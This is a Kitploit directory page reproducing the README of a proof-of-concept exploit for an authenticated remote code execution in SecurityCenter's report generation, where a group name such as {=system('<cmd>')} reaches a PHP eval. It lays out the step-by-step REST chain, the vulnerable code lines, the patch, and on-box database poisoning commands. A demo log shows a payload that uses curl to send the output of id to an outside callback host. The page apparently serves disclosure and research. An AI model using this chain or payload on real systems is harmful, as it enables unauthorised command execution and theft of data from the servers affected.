Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC-CVE-2026-19626 — Proof-of-concept exploit for CVE-2026-19626, an authenticated remote code execution in SecurityCenter report generation, demonstrating a non-admin chain via group name injection and PHP eval. | Kitploit
Tools/GitHubGitHub/h00die/poc-cve-2026-19626
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubh00die/poc-cve-2026-19626

POC-CVE-2026-19626

Proof-of-concept exploit for CVE-2026-19626, an authenticated remote code execution in SecurityCenter report generation, demonstrating a non-admin chain via group name injection and PHP eval.

View Repository
15h 19m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

infoGraphic

CVE-2026-19626 — RCE in report generation (authenticated, non-admin)

Status: CONFIRMED — pure-REMOTE, non-admin, REST-only (6.7.2-14.el9 lab, 2026-08-21).

The weaponized chain (this is what poc.py does):

  1. login as any regular org user
  2. POST /rest/group with name: "{=system('<cmd>')}" — braces/quotes accepted verbatim (the group controller has no charset check)
  3. POST /rest/reportDefinition — PDF report, one pieChart component, user/sumgroup query, labelColumns: groupID
  4. POST /rest/reportDefinition/{id}/launch
  5. At render, substituteParams() substitutes the placeholder with the group name BEFORE the eval loop runs — the payload lands inside the format string and fires as tns
{label}
{=...}
eval("$expr = system('<cmd>');")
  • system()'s return value is substituted back into the label — the command's output renders into the pie legend of the finished report (the exfil channel)
  • Marker /tmp/pwn_label created by this exact chain (no DB access, no style write, no file upload). Note the zero-member group still produces a sector — the sumgroup aggregation includes it.

    Additionally confirmed by direct invocation and full-pipeline style poison (see history below): the eval sink is live in the shipped substituteParams(), and a poisoned default legendFormat style attribute fires on ANY pie-chart render including non-admin-owned reports.

    Delivery caveat (why the pure-REST PoC stalls): the report definition's inline style object — where the PoC plants legendFormat/labelFormat — is stored verbatim in xmlDefinition but discarded at render: getReport(CONTEXT_RENDER) rehydrates components from the normalized tables and overwrites $component['style'] with StyleLib::getComponentStyle() (fetched by styleID). The style-import controller exists (Styles::add, parses an uploaded XML file via xmlToStyles, with the admin-only check commented out) but no route to it is exposed — 12-verb/path volley (style, styles, style::add, style/import × POST/PUT/PATCH, with a valid staged filename) all return error 10, and the UI bundle contains zero style-endpoint calls. Pure-remote delivery therefore requires a style write path that 6.7.2 does not expose; the rendered chain was demonstrated via the style attribute directly.

    Vulnerability

    /opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 and earlier):

    • line 8283 — eval("\$expr = {$exprs[1]};") in substituteParams(). Pie-chart legend/label format strings ($style['legendFormat'] / $style['labelFormat'], lines 4952/4983) support {=<arithmetic>} placeholders, e.g. the built-in default {={sector}+1}. The expression body is user-supplied report-definition content → arbitrary PHP.
    • lines 5538 / 5714 — eval("\$sectorLabels->setBackground($labelStyle);") with labelStyling from the chart style. The 6.8.0 guard was if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — rejects ; only; system('cmd') passes.
    • line 6125 — if (is_callable($matches['name'])) gate on bar-shape specs like circleShape(10). system(id) passes the gate. The 6.9.0 fix comment states it outright: "is_callable() is NOT a safe gate (is_callable("system") === true)".

    Any org user with report-definition rights reaches all three at render time (generateReport.php / Jobd). ReportDefinitions::launch() refuses ROLE_ADMIN — the bug class is explicitly non-admin.

    Command output is substituted back into the label text, so the rendered report is the exfil channel.

    Patch (6.9.0)

    eval() removed; {=...} expressions restricted to /^[0-9.\s()+\-*\/]+/ and evaluated by a tokenizer; resolveLabelStyleArgs() parses label styling into an argument list; isAllowedBarShapeFunction() allowlist with numeric-only parameters.

    PoC

    root@kitploit:~
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
    

    Group-name label injection (the remote chain above): creates the payload-named group, builds the sumgroup report, launches, and polls for the rendered result — command output appears in the pie legend of the finished report. Payload constraint: no } characters (the {=...} regex is non-greedy to the first brace); command output rides the label substitution, so read it from the report or verify via marker/timing.

    Anatomy notes (why the obvious chains stall)

    • The definition's inline style.legendFormat/labelFormat is stored verbatim in xmlDefinition but discarded at render — components rehydrate styles from the Style tables via styleID (ReportDefinitionLib render context overwrites $component['style'] with StyleLib::getComponentStyle()).
    • The style-import controller exists (Styles::add, admin check commented out, parses an uploaded XML via xmlToStyles) but no route is wired — 12 verb/path combos (incl. sub-resource /rest/style/{id}) all return error 10, and the UI bundle contains zero style-endpoint calls.
    • The label-value path needs none of that: {label} substitution precedes the eval loop, so ANY attacker-influenced label (group name here; user profile fields and scanned-asset hostnames are the same shape) carries the payload.

    Lab confirmation commands

    root@kitploit:~
    # direct sink (on-box)
    /opt/sc/support/bin/php /tmp/t.php   # requires defines+phpchartdir+ReportChartingLib
    
    # style poison (root) + any report launch
    /opt/sc/support/bin/sqlite3 /opt/sc/application.db \
      "UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
       WHERE attribute='legendFormat' AND styleID IN (19,20)"
    # restore: DELETE those attribute rows (falls back to built-in defaults)
    

    Demo

    root@kitploit:~
    $ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
    [*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
    [+] authenticated, token 21137241...
    [+] created group carrying payload name (id 9)
    [+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
    [+] report launched — chart render evals the group-name payload
    [*] waiting for output callback ...
    [+] command output:
    uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0
    
    Download Tool